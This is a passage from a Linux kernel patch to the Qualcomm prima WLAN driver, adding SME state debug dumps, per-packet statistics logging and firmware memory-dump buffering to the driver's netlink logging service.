pRecord->data); break; case TRACE_CODE_SME_TX_WDA_MSG: - smsLog(pMac, LOG1, "%04d %012u S%d %-14s %-30s(0x%x)", + smsLog(pMac, LOG1, "%04d %012u S%d %-14s %-30s(0x%x)", recIndex, pRecord->time, pRecord->session, "TX WDA Msg:", macTraceGetWdaMsgString((tANI_U16)pRecord->data), pRecord->data); @@ -241,4 +240,50 @@ void smeTraceInit(tpAniSirGlobal pMac) { vosTraceRegister(VOS_MODULE_ID_SME, (tpvosTraceCb)&smeTraceDump); } + +/** + * sme_state_info_dump() - prints state information of sme layer + */ +static void sme_state_info_dump(void) +{ + tANI_U32 session_id = 0; + tHalHandle hal; + tpAniSirGlobal mac; + v_CONTEXT_t vos_ctx_ptr; + + /* get the global voss context */ + vos_ctx_ptr = vos_get_global_context(VOS_MODULE_ID_VOSS, NULL); + + if (NULL == vos_ctx_ptr) { + VOS_ASSERT(0); + return; + } + + hal = vos_get_context(VOS_MODULE_ID_SME, vos_ctx_ptr); + if (NULL == hal) { + VOS_ASSERT(0); + return; + } + + mac = PMAC_STRUCT(hal); + + session_id = sme_get_sessionid_from_activeList(mac); + smsLog( mac, LOG1, FL(" SessionId %d for active command"), session_id); + + smsLog(mac, LOG1, FL("NeighborRoamState: %d RoamState: %d" + "RoamSubState: %d ConnectState: %d pmcState: %d PmmState: %d"), + mac->roam.neighborRoamInfo.neighborRoamState, + mac->roam.curState[session_id], mac->roam.curSubState[session_id], + mac->roam.roamSession[session_id].connectState, mac->pmc.pmcState, + mac->pmm.gPmmState); +} + +/** + * sme_register_debug_callback() - registration function sme layer + * to print sme state information + */ +void sme_register_debug_callback() +{ + vos_register_debug_callback(VOS_MODULE_ID_SME, &sme_state_info_dump); +} #endif diff --git a/drivers/staging/prima/CORE/SVC/external/wlan_nlink_common.h b/drivers/staging/prima/CORE/SVC/external/wlan_nlink_common.h index 4bd56986c129f..6ffcee65573d0 100644 --- a/drivers/staging/prima/CORE/SVC/external/wlan_nlink_common.h +++ b/drivers/staging/prima/CORE/SVC/external/wlan_nlink_common.h @@ -89,6 +89,7 @@ #define WLAN_SVC_IFACE_NUM_QUEUES 6 #define WLAN_SVC_SAP_RESTART_IND 0x108 +#define WLAN_SVC_WLAN_TP_IND 0x109 // Event data for WLAN_BTC_QUERY_STATE_RSP & WLAN_STA_ASSOC_DONE_IND typedef struct { @@ -101,6 +102,7 @@ typedef enum eAniNlModuleTypes { ANI_NL_MSG_PUMAC = ANI_NL_MSG_BASE + 0x01,// PTT Socket App ANI_NL_MSG_PTT = ANI_NL_MSG_BASE + 0x07,// Quarky GUI WLAN_NL_MSG_BTC, + WLAN_NL_MSG_OEM, WLAN_NL_MSG_SVC = ANI_NL_MSG_BASE + 0x0A, ANI_NL_MSG_LOG = ANI_NL_MSG_BASE + 0x0C, ANI_NL_MSG_MAX diff --git a/drivers/staging/prima/CORE/SVC/inc/wlan_logging_sock_svc.h b/drivers/staging/prima/CORE/SVC/inc/wlan_logging_sock_svc.h index 52d1959e0b595..4ddd24b1f57c8 100644 --- a/drivers/staging/prima/CORE/SVC/inc/wlan_logging_sock_svc.h +++ b/drivers/staging/prima/CORE/SVC/inc/wlan_logging_sock_svc.h @@ -42,20 +42,23 @@ int wlan_logging_sock_init_svc(void); int wlan_logging_sock_deinit_svc(void); -int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf); int wlan_logging_flush_pkt_queue(void); int wlan_logging_sock_deactivate_svc(void); int wlan_log_to_user(VOS_TRACE_LEVEL log_level, char *to_be_sent, int length); int wlan_queue_logpkt_for_app(vos_pkt_t *pPacket, uint32 pkt_type); void wlan_process_done_indication(uint8 type, uint32 reason_code); +int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf, + int pkt_stats_enabled, int pkt_stats_buff); +void wlan_flush_host_logs_for_fatal(void); void wlan_init_log_completion(void); int wlan_set_log_completion(uint32 is_fatal, uint32 indicator, uint32 reason_code); -void wlan_get_log_completion(uint32 *is_fatal, +void wlan_get_log_and_reset_completion(uint32 *is_fatal, uint32 *indicator, - uint32 *reason_code); + uint32 *reason_code, + bool reset); bool wlan_is_log_report_in_progress(void); void wlan_reset_log_report_in_progress(void); @@ -63,5 +66,42 @@ void wlan_deinit_log_completion(void); void wlan_logging_set_log_level(void); +#define FW_MEM_DUMP_MAGIC 0x3C3A2D44 + +enum FW_MEM_DUMP_STATE{ + FW_MEM_DUMP_IDLE, + FW_MEM_DUMP_READ_IN_PROGRESS, + FW_MEM_DUMP_WRITE_IN_PROGRESS, + FW_MEM_DUMP_WRITE_DONE, +}; +int wlan_fwr_mem_dump_buffer_allocation(void); +bool wlan_fwr_mem_dump_test_and_set_write_allowed_bit(void); +bool wlan_fwr_mem_dump_test_and_set_read_allowed_bit(void); +void wlan_set_fwr_mem_dump_state(enum FW_MEM_DUMP_STATE fw_mem_dump_state); +void wlan_set_svc_fw_mem_dump_req_cb(void*,void*); +size_t wlan_fwr_mem_dump_fsread_handler(char __user *buf, size_t count, loff_t *pos,loff_t* bytes_left); +void wlan_indicate_mem_dump_complete(bool ); +void wlan_store_fwr_mem_dump_size(uint32 dump_size); +void wlan_free_fwr_mem_dump_buffer(void); + bool wlan_is_logger_thread(int threadId); +int wlan_pkt_stats_to_user(void *perPktStat); +void wlan_disable_and_flush_pkt_stats(void); + void wlan_fillTxStruct(void *pktStat); + bool wlan_isPktStatsEnabled(void); +#ifdef FEATURE_WLAN_DIAG_SUPPORT +void wlan_report_log_completion(uint32 is_fatal, + uint32 indicator, + uint32 reason_code); +#else +static inline void wlan_report_log_completion(uint32 is_fatal, + uint32 indicator, + uint32 reason_code) +{ + return; +} + +#endif + + #endif /* WLAN_LOGGING_SOCK_SVC_H */ diff --git a/drivers/staging/prima/CORE/SVC/inc/wlan_ptt_sock_svc.h b/drivers/staging/prima/CORE/SVC/inc/wlan_ptt_sock_svc.h index f5eddb5fd562c..2f2bac6e601fe 100644 --- a/drivers/staging/prima/CORE/SVC/inc/wlan_ptt_sock_svc.h +++ b/drivers/staging/prima/CORE/SVC/inc/wlan_ptt_sock_svc.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -61,6 +61,12 @@ #define ANI_DRIVER_MSG_START 0x0001 #define ANI_MSG_APP_REG_REQ (ANI_DRIVER_MSG_START + 0) #define ANI_MSG_APP_REG_RSP (ANI_DRIVER_MSG_START + 1) +#define ANI_MSG_OEM_DATA_REQ (ANI_DRIVER_MSG_START + 2) +#define ANI_MSG_OEM_DATA_RSP (ANI_DRIVER_MSG_START + 3) +#define ANI_MSG_CHANNEL_INFO_REQ (ANI_DRIVER_MSG_START + 4) +#define ANI_MSG_CHANNEL_INFO_RSP (ANI_DRIVER_MSG_START + 5) +#define ANI_MSG_OEM_ERROR (ANI_DRIVER_MSG_START + 6) + #define ANI_MAX_RADIOS 3 #define ANI_NL_MSG_OK 0 #define ANI_NL_MSG_ERROR -1 @@ -89,6 +95,7 @@ * Payload : LEN_PAYLOAD bytes */ int ptt_sock_activate_svc(void *pAdapter); +int ptt_sock_deactivate_svc(hdd_context_t *pHddCtx); int ptt_sock_send_msg_to_app(tAniHdr *wmsg, int radio, int src_mod, int pid, int flag); /* diff --git a/drivers/staging/prima/CORE/SVC/src/logging/wlan_logging_sock_svc.c b/drivers/staging/prima/CORE/SVC/src/logging/wlan_logging_sock_svc.c index cdfeade10ec20..b19bd42c8fee1 100644 --- a/drivers/staging/prima/CORE/SVC/src/logging/wlan_logging_sock_svc.c +++ b/drivers/staging/prima/CORE/SVC/src/logging/wlan_logging_sock_svc.c @@ -1,5 +1,5 @@ /* -* Copyright (c) 2014-2015 The Linux Foundation. All rights reserved. +* Copyright (c) 2014-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -44,6 +44,7 @@ #include #include + #define LOGGING_TRACE(level, args...) \ VOS_TRACE(VOS_MODULE_ID_SVC, level, ## args) @@ -55,17 +56,30 @@ #define ANI_NL_MSG_FW_LOG_PKT_TYPE 92 #define INVALID_PID -1 +#define MAX_PKTSTATS_LOG_LENGTH 2048 #define MAX_LOGMSG_LENGTH 4096 #define LOGGER_MGMT_DATA_PKT_POST 0x001 #define HOST_LOG_POST 0x002 #define LOGGER_FW_LOG_PKT_POST 0x003 #define LOGGER_FATAL_EVENT_POST 0x004 +#define LOGGER_FW_MEM_DUMP_PKT_POST 0x005 +#define LOGGER_FW_MEM_DUMP_PKT_POST_DONE 0x006 +#define HOST_PKT_STATS_POST 0x008 + #define LOGGER_MAX_DATA_MGMT_PKT_Q_LEN (8) #define LOGGER_MAX_FW_LOG_PKT_Q_LEN (16) +#define LOGGER_MAX_FW_MEM_DUMP_PKT_Q_LEN (32) + #define NL_BDCAST_RATELIMIT_INTERVAL (5*HZ) #define NL_BDCAST_RATELIMIT_BURST 1 +#define PTT_MSG_DIAG_CMDS_TYPE 0x5050 +#define DIAG_TYPE_LOGS 1 + +/* Limit FW initiated fatal event to ms */ +#define LIMIT_FW_FATAL_EVENT_MS 10000 + /* Qtimer Frequency */ #define QTIMER_FREQ 19200000 @@ -93,6 +107,41 @@ struct logger_log_complete { uint32_t reason_code; bool is_report_in_progress; bool is_flush_complete; + uint32_t last_fw_bug_reason; + unsigned long last_fw_bug_timestamp; +}; + +struct fw_mem_dump_logging{ + //It will hold the starting point of mem dump buffer + uint8 *fw_dump_start_loc; + //It will hold the current loc to tell how much data filled + uint8 *fw_dump_current_loc; + uint32 fw_dump_max_size; + vos_pkt_t *fw_mem_dump_queue; + /* Holds number of pkts in fw log vos pkt queue */ + unsigned int fw_mem_dump_pkt_qcnt; + /* Number of dropped pkts for fw dump */ + unsigned int fw_mem_dump_pkt_drop_cnt; + /* Lock to synchronize of queue/dequeue of pkts in fw log pkt queue */ + spinlock_t fw_mem_dump_lock; + /* Fw memory dump status */ + enum FW_MEM_DUMP_STATE fw_mem_dump_status; + /* storage for HDD callback which completes fw mem dump request */ + void * svc_fw_mem_dump_req_cb; + /* storage for HDD callback which completes fw mem dump request arg */ + void * svc_fw_mem_dump_req_cb_arg; +}; + +struct pkt_stats_msg { + struct list_head node; + /* indicates the current filled log length in pktlogbuf */ + struct sk_buff *skb; +}; + +struct perPktStatsInfo{ + v_U32_t lastTxRate; // 802.11 data rate at which the last data frame is transmitted. + v_U32_t txAvgRetry; // Average number of retries per 10 packets. + v_S7_t avgRssi; // Average of the Beacon RSSI. }; struct wlan_logging { @@ -141,10 +190,22 @@ struct wlan_logging { /* data structure for log complete event*/ struct logger_log_complete log_complete; spinlock_t bug_report_lock; + struct fw_mem_dump_logging fw_mem_dump_ctx; + int pkt_stat_num_buf; + unsigned int pkt_stat_drop_cnt; + struct list_head pkt_stat_free_list; + struct list_head pkt_stat_filled_list; + struct pkt_stats_msg *pkt_stats_pcur_node; + /* Index of the messages sent to userspace */ + unsigned int pkt_stats_msg_idx; + bool pkt_stats_enabled; + spinlock_t pkt_stats_lock; + struct perPktStatsInfo txPktStatsInfo; }; static struct wlan_logging gwlan_logging; static struct log_msg *gplog_msg; +static struct pkt_stats_msg *pkt_stats_buffers; /* PID of the APP to log the message */ static int gapp_pid = INVALID_PID; @@ -228,7 +289,7 @@ static int wlan_send_sock_msg_to_app(tAniHdr *wmsg, int radio, return -EINVAL; } - payload_len = wmsg_length + sizeof(wnl->radio); + payload_len = wmsg_length + sizeof(wnl->radio) + sizeof(tAniHdr); tot_msg_len = NLMSG_SPACE(payload_len); skb = dev_alloc_skb(tot_msg_len); if (skb == NULL) { @@ -330,6 +391,177 @@ static int wlan_queue_logmsg_for_app(void) return ret; } +void wlan_fillTxStruct(void *pktStat) +{ + vos_mem_copy(&gwlan_logging.txPktStatsInfo, + (struct perPktStatsInfo *)pktStat, + sizeof(struct perPktStatsInfo)); +} + +bool wlan_isPktStatsEnabled(void) +{ + return gwlan_logging.pkt_stats_enabled; +} + + + +/* Need to call this with spin_lock acquired */ +static int wlan_queue_pkt_stats_for_app(void) +{ + int ret = 0; + + list_add_tail(&gwlan_logging.pkt_stats_pcur_node->node, + &gwlan_logging.pkt_stat_filled_list); + + if (!list_empty(&gwlan_logging.pkt_stat_free_list)) { + /* Get buffer from free list */ + gwlan_logging.pkt_stats_pcur_node = + (struct pkt_stats_msg *)(gwlan_logging.pkt_stat_free_list.next); + list_del_init(gwlan_logging.pkt_stat_free_list.next); + } else if (!list_empty(&gwlan_logging.pkt_stat_filled_list)) { + /* Get buffer from filled list */ + /* This condition will drop the packet from being + * indicated to app + */ + gwlan_logging.pkt_stats_pcur_node = + (struct pkt_stats_msg *)(gwlan_logging.pkt_stat_filled_list.next); + ++gwlan_logging.pkt_stat_drop_cnt; + /* print every 64th drop count */ + if (vos_is_multicast_logging() && + (!(gwlan_logging.pkt_stat_drop_cnt % 0x40))) { + pr_err("%s: drop_count = %u filled_length = %d\n", + __func__, gwlan_logging.pkt_stat_drop_cnt, + gwlan_logging.pkt_stats_pcur_node->skb->len); + } + list_del_init(gwlan_logging.pkt_stat_filled_list.next); + ret = 1; + } + + /* Reset the current node values */ + gwlan_logging.pkt_stats_pcur_node-> skb->len = 0; + return ret; +} + +int wlan_pkt_stats_to_user(void *perPktStat) +{ + bool wake_up_thread = false; + tPerPacketStats *pktstats = perPktStat; + unsigned long flags; + tx_rx_pkt_stats rx_tx_stats; + int total_log_len = 0; + struct sk_buff *ptr; + tpSirMacMgmtHdr hdr; + uint32 rateIdx; + + if (!vos_is_multicast_logging()) + { + return -EIO; + } + if (vos_is_multicast_logging()) { + + vos_mem_zero(&rx_tx_stats, sizeof(tx_rx_pkt_stats)); + + if (pktstats->is_rx){ + rx_tx_stats.ps_hdr.flags = (1 << PKTLOG_FLG_FRM_TYPE_REMOTE_S); + }else{ + rx_tx_stats.ps_hdr.flags = (1 << PKTLOG_FLG_FRM_TYPE_LOCAL_S); + + } + /*Send log type as PKTLOG_TYPE_PKT_STAT (9)*/ + rx_tx_stats.ps_hdr.log_type = PKTLOG_TYPE_PKT_STAT; + rx_tx_stats.ps_hdr.timestamp = vos_timer_get_system_ticks(); + rx_tx_stats.ps_hdr.missed_cnt = 0; + rx_tx_stats.ps_hdr.size = sizeof(tx_rx_pkt_stats) - + sizeof(pkt_stats_hdr) + pktstats->data_len- + MAX_PKT_STAT_DATA_LEN; + + rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_TX_SUCCESS; + rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_80211_HEADER; + if (pktstats->is_rx) + rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_DIRECTION_TX; + + hdr = (tpSirMacMgmtHdr)pktstats->data; + if (hdr->fc.wep) { + rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_PROTECTED; + /* Reset wep bit to parse frame properly */ + hdr->fc.wep = 0; + } + + rx_tx_stats.stats.tid = pktstats->tid; + rx_tx_stats.stats.dxe_timestamp = pktstats->dxe_timestamp; + + if (!pktstats->is_rx) + { + rx_tx_stats.stats.rssi = gwlan_logging.txPktStatsInfo.avgRssi; + rx_tx_stats.stats.num_retries = gwlan_logging.txPktStatsInfo.txAvgRetry; + rateIdx = gwlan_logging.txPktStatsInfo.lastTxRate; + } + else + { + rx_tx_stats.stats.rssi = pktstats->rssi; + rx_tx_stats.stats.num_retries = pktstats->num_retries; + rateIdx = pktstats->rate_idx; + + } + rx_tx_stats.stats.link_layer_transmit_sequence = pktstats->seq_num; + + /* Calculate rate and MCS from rate index */ + if( rateIdx >= 210 && rateIdx <= 217) + rateIdx-=202; + if( rateIdx >= 218 && rateIdx <= 225 ) + rateIdx-=210; + get_rate_and_MCS(&rx_tx_stats.stats, rateIdx); + + vos_mem_copy(rx_tx_stats.stats.data,pktstats->data, pktstats->data_len); + + /* 1+1 indicate '\n'+'\0' */ + total_log_len = sizeof(tx_rx_pkt_stats) + pktstats->data_len - + MAX_PKT_STAT_DATA_LEN; + spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); + // wlan logging svc resources are not yet initialized + if (!gwlan_logging.pkt_stats_pcur_node) { + pr_err("%s, logging svc not initialized", __func__); + spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); + return -EIO; + } + + ; + + /* Check if we can accomodate more log into current node/buffer */ + if (total_log_len + sizeof(vos_log_pktlog_info) + sizeof(tAniNlHdr) >= + skb_tailroom(gwlan_logging.pkt_stats_pcur_node->skb)) { + wake_up_thread = true; + wlan_queue_pkt_stats_for_app(); + } + ptr = gwlan_logging.pkt_stats_pcur_node->skb; + + + vos_mem_copy(skb_put(ptr, total_log_len), &rx_tx_stats, total_log_len); + spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); + /* Wakeup logger thread */ + if ((true == wake_up_thread)) { + /* If there is logger app registered wakeup the logging + * thread + */ + set_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } + } + return 0; +} + +void wlan_disable_and_flush_pkt_stats() +{ + unsigned long flags; + spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); + if(gwlan_logging.pkt_stats_pcur_node->skb->len){ + wlan_queue_pkt_stats_for_app(); + } + spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); + set_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); +} + int wlan_log_to_user(VOS_TRACE_LEVEL log_level, char *to_be_sent, int length) { /* Add the current time stamp */ @@ -492,10 +724,10 @@ static int send_fw_log_pkt_to_user(void) vos_pkt_return_packet(current_pkt); extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr); - nl_payload_len = NLMSG_ALIGN(extra_header_len + skb->len); + nl_payload_len = extra_header_len + skb->len; msg_header.nlh.nlmsg_type = ANI_NL_MSG_LOG; - msg_header.nlh.nlmsg_len = nl_payload_len; + msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; msg_header.nlh.nlmsg_pid = gapp_pid; msg_header.nlh.nlmsg_seq = nlmsg_seq++; @@ -516,7 +748,7 @@ static int send_fw_log_pkt_to_user(void) sizeof(msg_header)); ret = nl_srv_bcast(skb); - if (ret < 0) { + if ((ret < 0) && (ret != -ESRCH)) { pr_info("%s: Send Failed %d drop_count = %u\n", __func__, ret, ++gwlan_logging.fw_log_pkt_drop_cnt); } else { @@ -586,10 +818,10 @@ static int send_data_mgmt_log_pkt_to_user(void) extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr) + sizeof(msg_header.frameSize); - nl_payload_len = NLMSG_ALIGN(extra_header_len + skb->len); + nl_payload_len = extra_header_len + skb->len; msg_header.nlh.nlmsg_type = ANI_NL_MSG_LOG; - msg_header.nlh.nlmsg_len = nl_payload_len; + msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; msg_header.nlh.nlmsg_pid = 0; msg_header.nlh.nlmsg_seq = nlmsg_seq++; @@ -624,6 +856,80 @@ static int send_data_mgmt_log_pkt_to_user(void) return ret; } +static int fill_fw_mem_dump_buffer(void) +{ + struct sk_buff *skb = NULL; + vos_pkt_t *current_pkt; + vos_pkt_t *next_pkt; + VOS_STATUS status = VOS_STATUS_E_FAILURE; + unsigned long flags; + int byte_left = 0; + do { + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + + if (!gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue) { + spin_unlock_irqrestore( + &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + return -EIO; + } + + /* pick first pkt from queued chain */ + current_pkt = gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue; + + /* get the pointer to the next packet in the chain */ + status = vos_pkt_walk_packet_chain(current_pkt, &next_pkt, + TRUE); + + /* both "success" and "empty" are acceptable results */ + if (!((status == VOS_STATUS_SUCCESS) || + (status == VOS_STATUS_E_EMPTY))) { + spin_unlock_irqrestore( + &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + pr_err("%s: Failure walking packet chain", __func__); + return -EIO; + } + + /* update queue head with next pkt ptr which could be NULL */ + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = next_pkt; + --gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + + status = vos_pkt_get_os_packet(current_pkt, (v_VOID_t **)&skb, + VOS_FALSE); + if (!VOS_IS_STATUS_SUCCESS(status)) { + pr_err("%s: Failure extracting skb from vos pkt", + __func__); + return -EIO; + } + + //Copy data from SKB to mem dump buffer + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + if((skb) && (skb->len != 0)) + { + // Prevent buffer overflow + byte_left = ((int)gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - + (int)(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc - gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc)); + if(skb->len > byte_left) + { + vos_mem_copy(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc, skb->data, byte_left); + //Update the current location ptr + gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc += byte_left; + } + else + { + vos_mem_copy(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc, skb->data, skb->len); + //Update the current location ptr + gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc += skb->len; + } + } + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + /*return vos pkt since skb is already detached */ + vos_pkt_return_packet(current_pkt); + } while (next_pkt); + + return 0; +} + static int send_filled_buffers_to_user(void) { int ret = -1; @@ -638,7 +944,7 @@ static int send_filled_buffers_to_user(void) static int rate_limit; while (!list_empty(&gwlan_logging.filled_list) - && !gwlan_logging.exit) { + && !gwlan_logging.exit) { skb = dev_alloc_skb(MAX_LOGMSG_LENGTH); if (skb == NULL) { @@ -713,6 +1019,126 @@ static int send_filled_buffers_to_user(void) return ret; } + +static int send_per_pkt_stats_to_user(void) +{ + int ret = -1; + struct pkt_stats_msg *plog_msg; + unsigned long flags; + struct sk_buff *skb_new = NULL; + vos_log_pktlog_info pktlog; + tAniNlHdr msg_header; + int extra_header_len, nl_payload_len; + static int nlmsg_seq; + static int rate_limit; + int diag_type; + bool free_old_skb = false; + + while (!list_empty(&gwlan_logging.pkt_stat_filled_list) + && !gwlan_logging.exit) { + skb_new= dev_alloc_skb(MAX_PKTSTATS_LOG_LENGTH); + if (skb_new == NULL) { + if (!rate_limit) { + pr_err("%s: dev_alloc_skb() failed for msg size[%d] drop count = %u\n", + __func__, MAX_LOGMSG_LENGTH, + gwlan_logging.drop_count); + } + rate_limit = 1; + ret = -ENOMEM; + break; + } + + spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); + + plog_msg = (struct pkt_stats_msg *) + (gwlan_logging.pkt_stat_filled_list.next); + list_del_init(gwlan_logging.pkt_stat_filled_list.next); + spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); + + vos_mem_zero(&pktlog, sizeof(vos_log_pktlog_info)); + vos_log_set_code(&pktlog, LOG_WLAN_PKT_LOG_INFO_C); + + pktlog.version = VERSION_LOG_WLAN_PKT_LOG_INFO_C; + pktlog.buf_len = plog_msg->skb->len; + vos_log_set_length(&pktlog.log_hdr, plog_msg->skb->len + + sizeof(vos_log_pktlog_info)); + pktlog.seq_no = gwlan_logging.pkt_stats_msg_idx++; + + if (unlikely(skb_headroom(plog_msg->skb) < sizeof(vos_log_pktlog_info))) { + pr_err("VPKT [%d]: Insufficient headroom, head[%p]," + " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, + plog_msg->skb->data, sizeof(msg_header)); + ret = -EIO; + free_old_skb = true; + goto err; + } + vos_mem_copy(skb_push(plog_msg->skb, sizeof(vos_log_pktlog_info)), &pktlog, + sizeof(vos_log_pktlog_info)); + + if (unlikely(skb_headroom(plog_msg->skb) < sizeof(int))) { + pr_err("VPKT [%d]: Insufficient headroom, head[%p]," + " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, + plog_msg->skb->data, sizeof(int)); + ret = -EIO; + free_old_skb = true; + goto err; + } + + diag_type = DIAG_TYPE_LOGS; + vos_mem_copy(skb_push(plog_msg->skb, sizeof(int)), &diag_type, + sizeof(int)); + + extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr); + nl_payload_len = extra_header_len + plog_msg->skb->len; + + msg_header.nlh.nlmsg_type = ANI_NL_MSG_PUMAC; + msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); + msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; + msg_header.nlh.nlmsg_pid = 0; + msg_header.nlh.nlmsg_seq = nlmsg_seq++; + + msg_header.radio = 0; + + msg_header.wmsg.type = PTT_MSG_DIAG_CMDS_TYPE; + msg_header.wmsg.length = cpu_to_be16(plog_msg->skb->len); + + if (unlikely(skb_headroom(plog_msg->skb) < sizeof(msg_header))) { + pr_err("VPKT [%d]: Insufficient headroom, head[%p]," + " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, + plog_msg->skb->data, sizeof(msg_header)); + ret = -EIO; + free_old_skb = true; + goto err; + } + + vos_mem_copy(skb_push(plog_msg->skb, sizeof(msg_header)), &msg_header, + sizeof(msg_header)); + + ret = nl_srv_bcast(plog_msg->skb); + if (ret < 0) { + pr_info("%s: Send Failed %d drop_count = %u\n", + __func__, ret, ++gwlan_logging.fw_log_pkt_drop_cnt); + } else { + ret = 0; + } +err: + /* + * Free old skb in case or error before assigning new skb + * to the free list. + */ + if (free_old_skb) + dev_kfree_skb(plog_msg->skb); + spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); + plog_msg->skb = skb_new; + list_add_tail(&plog_msg->node, + &gwlan_logging.pkt_stat_free_list); + spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); + ret = 0; + } + + return ret; +} + /** * wlan_logging_thread() - The WLAN Logger thread * @Arg - pointer to the HDD context @@ -723,7 +1149,7 @@ static int wlan_logging_thread(void *Arg) { int ret_wait_status = 0; int ret = 0; - + unsigned long flags; set_user_nice(current, -2); #if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 8, 0)) @@ -739,7 +1165,11 @@ static int wlan_logging_thread(void *Arg) test_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag) || test_bit(LOGGER_FATAL_EVENT_POST, - &gwlan_logging.event_flag))); + &gwlan_logging.event_flag) || + test_bit(LOGGER_FW_MEM_DUMP_PKT_POST, &gwlan_logging.event_flag) || + test_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag)|| + test_bit(HOST_PKT_STATS_POST, + &gwlan_logging.event_flag))); if (ret_wait_status == -ERESTARTSYS) { pr_err("%s: wait_event return -ERESTARTSYS", __func__); @@ -756,6 +1186,11 @@ static int wlan_logging_thread(void *Arg) if (-ENOMEM == ret) { msleep(200); } + if (WLAN_LOG_INDICATOR_HOST_ONLY == + gwlan_logging.log_complete.indicator) + { + vos_send_fatal_event_done(); + } } if (test_and_clear_bit(LOGGER_FW_LOG_PKT_POST, @@ -776,12 +1211,55 @@ static int wlan_logging_thread(void *Arg) } else { gwlan_logging.log_complete.is_flush_complete = true; - set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); - set_bit(LOGGER_FW_LOG_PKT_POST,&gwlan_logging.event_flag); + + spin_lock_irqsave(&gwlan_logging.spin_lock, flags); + /* Flush all current host logs*/ + wlan_queue_logmsg_for_app(); + spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); + + set_bit(HOST_LOG_POST,&gwlan_logging.event_flag); + set_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag); set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } + + if (test_and_clear_bit(LOGGER_FW_MEM_DUMP_PKT_POST, + &gwlan_logging.event_flag)) { + fill_fw_mem_dump_buffer(); + } + if(test_and_clear_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag)){ + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); + /*Chnage fw memory dump to indicate write done*/ + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_DONE; + /*reset dropped packet count upon completion of this request*/ + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt = 0; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); + fill_fw_mem_dump_buffer(); + /* + * Call the registered HDD callback for indicating + * memdump complete. If it's null,then something is + * not right. + */ + if (gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb && + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg) { + ((hdd_fw_mem_dump_req_cb) + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb)( + (struct hdd_fw_mem_dump_req_ctx*) + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg); + + /*invalidate the callback pointers*/ + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); + 